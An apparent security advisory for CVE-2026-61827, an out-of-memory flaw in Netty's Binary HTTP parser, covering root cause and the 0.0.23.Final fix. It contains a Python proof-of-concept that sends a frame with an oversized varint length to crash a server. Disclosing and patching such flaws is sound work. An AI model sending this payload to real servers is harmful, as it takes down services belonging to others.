highCVE-2026-61827Aug 20, 2026

CVE-2026-61827: netty-incubator-codec-bhttp BinaryHttpParser Unbounded Memory Allocation (OOM)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

An attacker can crash a server using Netty's Binary HTTP parser by sending a crafted message that claims a field is gigabytes long, causing the parser to buffer data indefinitely until the JVM runs…

Packageio.netty.incubator:netty-incubator-codec-bhttp
Ecosystemmaven
Affected<= 0.0.22.Final
Fixed in0.0.23.Final
CVE-2026-61827: netty-incubator-codec-bhttp BinaryHttpParser Unbounded Memory Allocation (OOM)

The problem

The BinaryHttpParser in netty-incubator-codec-bhttp reads field lengths from attacker-controlled QUIC-style variable-length integers (up to 8 bytes, encoding values up to 2^62-1) without enforcing any upper bound.

Because the remote peer controls the encoded length, it can declare a header name, header value, scheme, authority, or path field to be many gigabytes long. The parser will attempt to buffer that many bytes in a Netty ByteBuf, consuming heap until an OutOfMemoryError is thrown.

No authentication is required.

Proof of concept

A working proof-of-concept for CVE-2026-61827 in io.netty.incubator:netty-incubator-codec-bhttp, with the exact payload below.

python
# Craft a minimal Binary HTTP request with an oversized field-length varint.
# Binary HTTP varints follow RFC 9000 s.16: prefix bits 11xxxxxx (8-byte form, max 2^62-1).
# Here we set the 'path' length field to 0x3FFFFFFFFFFFFFFF (the max 8-byte varint value)
# so the parser tries to allocate ~4.6 exabytes, triggering OOM long before that.
#
# Binary HTTP known-length request framing (RFC 9292):
#   Framing-Indicator = 0x00  (known-length request)
#   Method length + Method ("GET" = 0x03 0x47 0x45 0x54)
#   Scheme length + Scheme ("https" = 0x05 ...)
#   Authority length + Authority (0x00 = empty)
#   Path length = ** 8-byte varint 0xFFFFFFFFFFFFFFFF claiming 4611686018427387903 bytes **
#   (no actual path bytes follow; parser blocks waiting to buffer them)

import socket, struct

def quic_varint(n):
    """Encode n as a QUIC variable-length integer (RFC 9000 s.16)."""
    if n < 64:
        return bytes([n])
    elif n < 16384:
        return struct.pack('>H', 0x4000 | n)
    elif n < 1073741824:
        return struct.pack('>I', 0x80000000 | n)
    else:
        return struct.pack('>Q', 0xC000000000000000 | n)

framing   = b'\x00'                       # known-length request
method    = quic_varint(3) + b'GET'
scheme    = quic_varint(5) + b'https'
authority = quic_varint(0)
# Claim the path is 2^62-1 bytes long; supply zero actual bytes.
# Parser calls ByteBuf.readBytes(4611686018427387903) -> OOM.
path_len  = quic_varint(0x3FFFFFFFFFFFFFFF)

payload = framing + method + scheme + authority + path_len
# Send over whatever transport exposes BinaryHttpParser (e.g. raw TCP on port 8080)
with socket.create_connection(('target', 8080)) as s:
    s.sendall(payload)
    # Server worker thread now blocks in readBytes(), accumulating heap until OOM

The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling). BinaryHttpParser.readRequestHead() decodes a varint for each field length and immediately passes it to ByteBuf.readBytes(length). Because the varint can legitimately encode values up to 2^62-1, and no cap was checked before allocation, a single malformed frame is enough to exhaust heap.

The 0.0.23.Final patch adds a maximum-allowed-length constant and throws a DecoderException before any allocation when the decoded varint exceeds that limit. Public PoC not yet available; payload derived from the Binary HTTP (RFC 9292) varint format documented in the advisory and the related GHSA-q8f2-hxq5-cp4h advisory for the same parser.

The fix

Upgrade io.netty.incubator:netty-incubator-codec-bhttp (and the parent netty-incubator-codec-ohttp bundle) to **0.0.23.Final**. There is no workaround short of rejecting Binary HTTP traffic at a layer above the Netty pipeline.

Reporter not attributed.

References: [1][2][3]

Related research